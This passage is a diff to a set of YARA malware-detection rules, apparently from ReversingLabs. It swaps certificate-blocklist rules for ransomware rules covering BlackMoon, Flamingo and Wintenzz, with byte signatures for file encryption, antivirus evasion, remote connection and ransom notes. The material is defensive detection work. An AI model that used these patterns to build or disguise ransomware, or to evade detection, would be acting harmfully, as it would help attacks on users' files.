8B 35 ?? ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ?? + ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF + D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75 + ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01 + 8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? + ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 + } + $remote_connection_v5_0_2 = { + 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3 + 8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ?? + ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? + 83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68 + ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF + 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 33 C9 41 85 C0 8B 45 ?? 0F 45 + F9 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2 + } + $crypt_files_v5_0_3 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F9 89 55 ?? 33 DB B9 ?? ?? ?? ?? 89 5D ?? E8 + ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? + 53 53 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 53 + 6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 8D 45 ?? 50 68 ?? ?? ?? ?? + 56 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 81 BE ?? ?? + ?? ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? FF 70 ?? FF 70 ?? 53 53 57 FF 15 ?? ?? ?? ?? 57 FF + 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 53 0F 57 C0 66 0F 13 45 ?? FF + 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 55 ?? 89 5D ?? 56 8D 4D ?? E8 ?? ?? + ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 88 5D ?? 48 75 ?? 51 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 41 + 8B 45 ?? 89 85 ?? ?? ?? ?? 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 8E ?? ?? ?? ?? 83 C1 + ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 5D ?? 53 8D 45 ?? 50 FF B6 ?? ?? ?? ?? FF 75 + ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 3B + 8E ?? ?? ?? ?? 8B 45 ?? 6A ?? 5A 0F 42 C2 39 5D ?? 8B 55 ?? 0F 45 45 ?? 01 8E ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? 89 45 ?? 11 9E ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 50 56 89 45 ?? + E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 53 52 50 57 FF 15 ?? ?? ?? ?? 8B + C3 89 5D ?? 83 F8 ?? 7D ?? 53 8D 45 ?? 50 FF 75 ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 + ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 40 89 45 ?? EB ?? 8B 75 ?? 33 C0 8B 4D ?? 40 01 + 86 ?? ?? ?? ?? 11 9E ?? ?? ?? ?? EB ?? 33 C0 8D 48 ?? 89 4D ?? 85 C9 0F 84 ?? ?? ?? + ?? 39 5D ?? 74 ?? 6A ?? 53 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? + ?? ?? 53 8D 45 ?? 50 68 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B D8 E8 ?? ?? + ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 FF ?? 74 ?? 8B 45 ?? 57 83 08 + ?? FF 15 ?? ?? ?? ?? 8B C3 5F 5E 5B 8B E5 5D C3 + } + $remote_connection_v5_0_3 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 68 ?? ?? ?? ?? 33 DB 8D 85 ?? ?? ?? ?? 8B F1 53 + 50 89 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B FB 0F B7 04 5E 66 85 C0 74 ?? 83 F8 ?? 75 ?? + 83 C3 ?? 56 89 5D ?? FF 15 ?? ?? ?? ?? 3B D8 73 ?? 8D 14 1B 0F B7 04 32 EB ?? 66 83 + F8 ?? 74 ?? 43 0F B7 04 5E 66 85 C0 75 ?? EB ?? 8B CB 2B 4D ?? 74 ?? 03 F2 8D BD ?? + ?? ?? ?? D1 E9 F3 A5 13 C9 66 F3 A5 8B 75 ?? 8D 43 ?? 8D 04 46 50 8D 85 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 33 FF 47 43 85 FF 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? + ?? 8D 7D ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 + FF 74 ?? 51 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 83 EC ?? 57 FF 15 ?? ?? ?? + ?? 50 57 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B CF 8B + F0 E8 ?? ?? ?? ?? EB ?? 33 F6 83 7D ?? ?? 74 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 8B C6 + 5E 5B 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, William Zoltan" and pe.signatures [ i ] . serial == "2f:da:dd:07:40:57:22:70:20:3f:81:38:69:2c:4a:83" and 1404172799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $search_antivirus_processes and $find_files and $crypt_files and $remote_connection ) or ( $find_files_v2 and $crypt_files_v2 and $search_antivirus_processes_v2 and $remote_connection_v2 ) or ( $search_antivirus_processes_v2 and $find_files_v2_1 and $crypt_files_v2_1 and $remote_connection_v2_1 ) or ( $search_antivirus_processes_v4_1_2 and $find_files_v4_1_2 and $crypt_files_v4_1_2 and $remote_connection_v4_1_2 and $url_parameters_setup_v4_1_2 ) or ( $search_antivirus_processes_v4 and $find_files_v4 and $crypt_files_v4 and $url_parameters_setup_v4 ) or ( $search_antivirus_processes_v2 and $find_files_v2_1 and $remote_connection_v2_1 and $crypt_files_v3 ) or ( $search_antivirus_processes_v5 and $find_files_v5 and $crypt_files_v5 and $remote_connection_v5 and $url_parameters_setup_v5 ) or ( $search_antivirus_processes_v5_0_1 and $find_files_v5_0_1 and $crypt_files_v5_0_1 and $url_parameters_setup_v5_0_1 and $remote_connection_v5_0_1 ) or ( $search_antivirus_processes_v5_0_2 and $find_files_v5_0_2 and $crypt_files_v5_0_2 and $set_url_parameters_v5_0_2 and $remote_connection_v5_0_2 ) or ( $search_antivirus_processes_v5_0_2 and $find_files_v5_0_2 and $crypt_files_v5_0_3 and $set_url_parameters_v5_0_3 and $remote_connection_v5_0_3 ) ) } - -rule REVERSINGLABS_Cert_Blocklist_4Fc13D6220C629043A26F81B1Cad72D8 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Blackmoon : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BlackMoon ransomware." author = "ReversingLabs" - id = "c2573adc-6580-58aa-a58c-c21bf6b79364" - date = "2020-08-05" - modified = "2023-11-08" + id = "95ebb6c4-b0c9-5f9a-8424-a2f4d33953eb" + date = "2020-11-11" + modified = "2020-11-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1618-L1634" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BlackMoon.yara#L1-L70" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5572c278f6c9be62b2bba09ea610fd170438c6893ee5283ff4a5b3bb2852b07b" + logic_hash = "428409096a8637978bf2a1efb3238e4ba87715a909693b0cd26c0f689d567a09" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BlackMoon" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 81 EC ?? ?? ?? ?? 53 8B 9C 24 ?? ?? ?? ?? 55 56 8B 33 57 8B BC 24 ?? ?? ?? ?? 33 ED + 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 76 ?? 85 F6 74 ?? 83 FE ?? 74 ?? 56 FF + 15 ?? ?? ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 89 33 74 ?? 8B 84 + 24 ?? ?? ?? ?? 85 C0 74 ?? 8B 4C 24 ?? 83 E1 ?? 80 F9 ?? 74 ?? EB ?? 8B 94 24 ?? ?? + ?? ?? 8B 44 24 ?? 85 C2 74 ?? BD ?? ?? ?? ?? 85 F6 74 ?? 83 FE ?? 74 ?? 85 ED 75 ?? + 8B 84 24 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 C0 8D 44 24 ?? 50 56 74 ?? FF D7 85 C0 74 + ?? 8B 4C 24 ?? 83 E1 ?? 80 F9 ?? 75 ?? 8D 54 24 ?? 52 56 FF D7 85 C0 75 ?? 5F 5E 5D + 33 C0 5B 81 C4 ?? ?? ?? ?? C3 FF D7 85 C0 74 ?? 8B 9C 24 ?? ?? ?? ?? 85 5C 24 ?? 75 + ?? 8D 4C 24 ?? 51 56 FF D7 85 C0 75 ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 8D 54 24 ?? + 52 E8 ?? ?? ?? ?? 40 50 E8 ?? ?? ?? ?? 8B D0 8D 7C 24 ?? 83 C9 ?? 33 C0 83 C4 ?? F2 + AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 ?? F3 A5 8B C8 8B C2 83 E1 ?? F3 A4 5F 5E 5D + 5B 81 C4 ?? ?? ?? ?? C3 + } + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? + 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? + B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? DB + 45 ?? DD 5D ?? DD 45 ?? DB 45 ?? DD 5D ?? DC 65 ?? DD 5D ?? DD 45 ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B + 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D + ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 + } + $encrypt_files_p2 = { + 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 + 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? + ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? + 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? + ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A + ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? + B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 + DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? + 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, meicun ge" and pe.signatures [ i ] . serial == "4f:c1:3d:62:20:c6:29:04:3a:26:f8:1b:1c:ad:72:d8" and 1404172799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_3457A918C6D3701B2Eaca6A92474A7Cc : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Flamingo : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Flamingo ransomware." author = "ReversingLabs" - id = "12526715-7b54-5c31-aa2a-b77ed067e3ee" - date = "2020-08-05" - modified = "2023-11-08" + id = "333ef1f9-ac54-5a3d-9b2b-50483eeb93e1" + date = "2021-04-14" + modified = "2021-04-14" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1636-L1652" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Flamingo.yara#L1-L54" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "70d4bece52a86bfe8958f6d4195b833cea609596e3b68bb90087c262501bd462" + logic_hash = "446c0d332af01c0fceb0356d5ab273eb55764869cc8343468b75625e5d4d1036" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Flamingo" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KONSALTING PLUS OOO" and pe.signatures [ i ] . serial == "34:57:a9:18:c6:d3:70:1b:2e:ac:a6:a9:24:74:a7:cc" and 1432252799 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_621Ed8265B0Ad872D9F4B4Ed6D560513 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "b64e640c-264f-597c-90a5-d0ad57aa5075" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1654-L1670" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c133d6eea5d27e597d0a656c7c930a5ca84adb46aa2fec66381b6b5c759e22aa" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? + 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? + ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 + ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 + C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? + 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 + 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 + C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F + 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 + } + $encrypt_files = { + 68 ?? ?? ?? ?? 83 EC ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B CC C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? + ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 85 + ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 68 ?? ?? + ?? ?? 51 6A ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? + C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? + C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 8B BD ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 47 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? + ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? + 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fan Li" and pe.signatures [ i ] . serial == "62:1e:d8:26:5b:0a:d8:72:d9:f4:b4:ed:6d:56:05:13" and 1413183357 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_56E22B992B4C7F1Afeac1D63B492Bf54 : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Wintenzz : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Wintenzz ransomware." author = "ReversingLabs" - id = "28609e75-47cb-5017-bb92-046a9e8931c6" - date = "2020-08-05" - modified = "2023-11-08" + id = "6bf569e8-b050-51ef-a948-0eb294248d63" + date = "2021-11-02" + modified = "2021-11-02" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1672-L1688" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Wintenzz.yara#L1-L83" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ef058c0ec352260fa3db0fc74331d1da3c9eb8d161cef7635632fd7c569198c6" + logic_hash = "ff4bdf2f6ee185b98d0014b3066806fe7e25ea94f46837948bc5262440bf8a56" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Wintenzz" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 48 8D 75 ?? 41 B8 ?? ?? ?? ?? 48 89 F1 31 D2 E8 ?? ?? ?? ?? 48 89 F9 48 89 F2 E8 ?? + ?? ?? ?? 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 89 C6 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? + ?? ?? 0F 28 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 11 00 0F 28 85 ?? ?? ?? + ?? 0F 11 40 ?? 48 8B 8D ?? ?? ?? ?? 48 89 48 ?? 49 89 77 ?? 49 89 47 ?? 41 C7 47 ?? + ?? ?? ?? ?? 49 8D 4F ?? 48 8D 55 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 B6 ?? 31 C0 + 49 89 07 48 85 DB 75 ?? EB ?? E8 ?? ?? ?? ?? 48 C1 E0 ?? 49 89 47 ?? 49 C7 47 ?? ?? + ?? ?? ?? B8 ?? ?? ?? ?? 31 F6 49 89 07 48 85 DB 74 ?? 48 01 DB 74 ?? 41 B8 ?? ?? ?? + ?? 48 89 F9 48 89 DA E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 41 B8 ?? ?? + ?? ?? 4C 89 F1 E8 ?? ?? ?? ?? 40 84 F6 75 ?? 48 8B 8D ?? ?? ?? ?? 48 85 C9 74 ?? 48 + 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 F8 48 81 C4 + ?? ?? ?? ?? 5B 5F 5E 41 5E 41 5F 5D C3 BA + } + $encrypt_files_p1 = { + 4C 89 75 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D + 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 C7 45 ?? ?? ?? ?? ?? + 48 C7 45 ?? ?? ?? ?? ?? 48 89 7D ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 4D ?? 48 8D 55 ?? + E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 29 45 ?? 48 8B 45 ?? 48 89 45 ?? 48 8D 4D ?? 48 8D 55 + ?? E8 ?? ?? ?? ?? 48 85 DB 74 ?? BA ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 85 C0 75 + ?? BA ?? ?? ?? ?? 48 89 D9 E8 + } + $encrypt_files_p2 = { + 86 97 ?? ?? ?? ?? C0 74 3C ?? ?? C1 E8 ?? 28 03 00 48 ?? C0 74 2F ?? ?? FA 03 75 ?? + 48 8D 0D ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? 0F B6 40 + ?? 83 F0 ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 85 + C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA ?? 75 ?? 48 8D 0D ?? ?? ?? + ?? 48 39 C8 0F 84 ?? ?? ?? ?? 81 38 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B + 55 ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA + ?? 75 ?? 48 8D 0D ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? + 0F B6 40 ?? 83 F0 ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? + ?? 48 85 C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA ?? 75 ?? 48 8D 0D + ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? 0F B6 40 ?? 83 F0 + ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D + } + $drop_ransom_note = { + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8B 8D ?? ?? + ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8B 8D + ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 + 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 + ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 + D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? + 48 85 D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? + ?? ?? 48 85 D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 